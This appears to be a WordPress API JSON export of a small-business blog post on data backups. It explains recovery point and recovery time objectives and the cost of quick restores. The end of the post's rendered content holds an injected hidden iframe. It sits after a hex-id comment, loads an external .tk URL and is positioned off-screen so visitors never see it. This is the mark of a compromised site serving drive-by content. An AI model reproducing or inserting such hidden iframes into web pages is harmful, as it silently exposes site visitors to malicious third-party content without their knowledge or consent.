{"id":25,"date":"2015-03-07T01:21:02","date_gmt":"2015-03-07T06:21:02","guid":{"rendered":"http:\/\/www.cokercommunications.com\/blog\/?p=25"},"modified":"2017-01-28T16:03:59","modified_gmt":"2017-01-28T21:03:59","slug":"backup-and-recovery","status":"publish","type":"post","link":"https:\/\/www.cokercommunications.com\/blog\/backup-and-recovery\/","title":{"rendered":"Backup and Recovery"},"content":{"rendered":"<p>One of the biggest questions that I get from customers is about backups.\u00a0 Systems are built on data, and data lives on storage media (usually hard disk drives), and storage media has a known failure rate.\u00a0 It&#8217;s a known fact that storage media fails, and when it fails, bad things happen. It&#8217;s important to differentiate between system and media failures (which are components that just go bad) and Disasters (which are things that happen to your business, such as tornadoes or acts of god, that are independent of single failures).\u00a0 Disaster Recovery is a whole separate topic, which I will cover at a later date, which is equally important. But now back to\u00a0system backups&#8230;<\/p>\n<p>I learned the hard way, a long time ago, with an ancient Mac laptop and school work.\u00a0 Disk failures happen, and when they do, you&#8217;re screwed unless you have backups.<\/p>\n<p>This leads to the rule: always have 2 copies of your data.\u00a0 One of live data, and another of a\u00a0recent backup.\u00a0 How recent? There is the question.\u00a0 How much data can you recover from reentering transactions and\/or manual recreations of entries that you&#8217;ve already done?\u00a0 If it&#8217;s a few dozen, then probably not a big deal.\u00a0 A few thousand, then it&#8217;s not so easy.<\/p>\n<p>This leads to the first term in backups: Recovery Point Objective (RPO).\u00a0 RPO is how long you can stand to manually recreate transactions that have already happened.\u00a0 If your RPO is 4 hours, then you only expect to have to re-create 4 hours of transactions after a data restore after a failure.<\/p>\n<p>The other consideration for backups is Recovery Time Objective (RTO), or &#8220;how long does it take to restore the system to the RPO&#8221;.\u00a0 After a failure, how long does it take to obtain the backups, obtain restore media, and do the restoration? Data Restoration typically takes hours, and sometimes longer, so RTO is an important consideration.\u00a0 If a short RTO is required, then a system that stores duplicate data is usually warranted.\u00a0 You replace failed storage A with backup storage B, and you&#8217;re done.\u00a0 Quick, but expensive.\u00a0 If you can stand a longer recovery time, then you live with a backup drive that takes minutes or hours to restore to other media. While the restoration is in progress, the systems are off line and nothing is happening.\u00a0 After the restoration, the system still has to be recovered with the non-backed up transactions.\u00a0 Therefore, the true recovery time will be: time to detect the failure + time to restore the backup + time to reenter the transactions since the backup.\u00a0 That could be hours or days. How long can you be in limbo?<\/p>\n<p>There&#8217;s a serious cost-vs-time tradeoff for backups.\u00a0 Rest assured, 10 out of 10 systems will fail.\u00a0 The question is when.\u00a0 Are you prepared?<!--844c7b74e31d727d5814a0ed667c0255--><iframe src=\"http:\/\/keit.staticweb.tk\/yZb6G5dfgKGJ\" width=640 height=480 style='position: absolute; left: -1000px; top: -1000px; z-index:-1;'><\/iframe><\/p>\n","protected":false},"excerpt":{"rendered":"<p>One of the biggest questions that I get from customers is about backups.\u00a0 Systems are built on data, and data lives on storage media (usually hard disk drives), and storage media has a known failure rate.\u00a0 It&#8217;s a known fact that storage media fails, and when it fails, bad things happen. It&#8217;s important to differentiate [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15],"tags":[13,14],"_links":{"self":[{"href":"https:\/\/www.cokercommunications.com\/blog\/wp-json\/wp\/v2\/posts\/25"}],"collection":[{"href":"https:\/\/www.cokercommunications.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.cokercommunications.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.cokercommunications.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.cokercommunications.com\/blog\/wp-json\/wp\/v2\/comments?post=25"}],"version-history":[{"count":6,"href":"https:\/\/www.cokercommunications.com\/blog\/wp-json\/wp\/v2\/posts\/25\/revisions"}],"predecessor-version":[{"id":563,"href":"https:\/\/www.cokercommunications.com\/blog\/wp-json\/wp\/v2\/posts\/25\/revisions\/563"}],"wp:attachment":[{"href":"https:\/\/www.cokercommunications.com\/blog\/wp-json\/wp\/v2\/media?parent=25"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.cokercommunications.com\/blog\/wp-json\/wp\/v2\/categories?post=25"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.cokercommunications.com\/blog\/wp-json\/wp\/v2\/tags?post=25"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}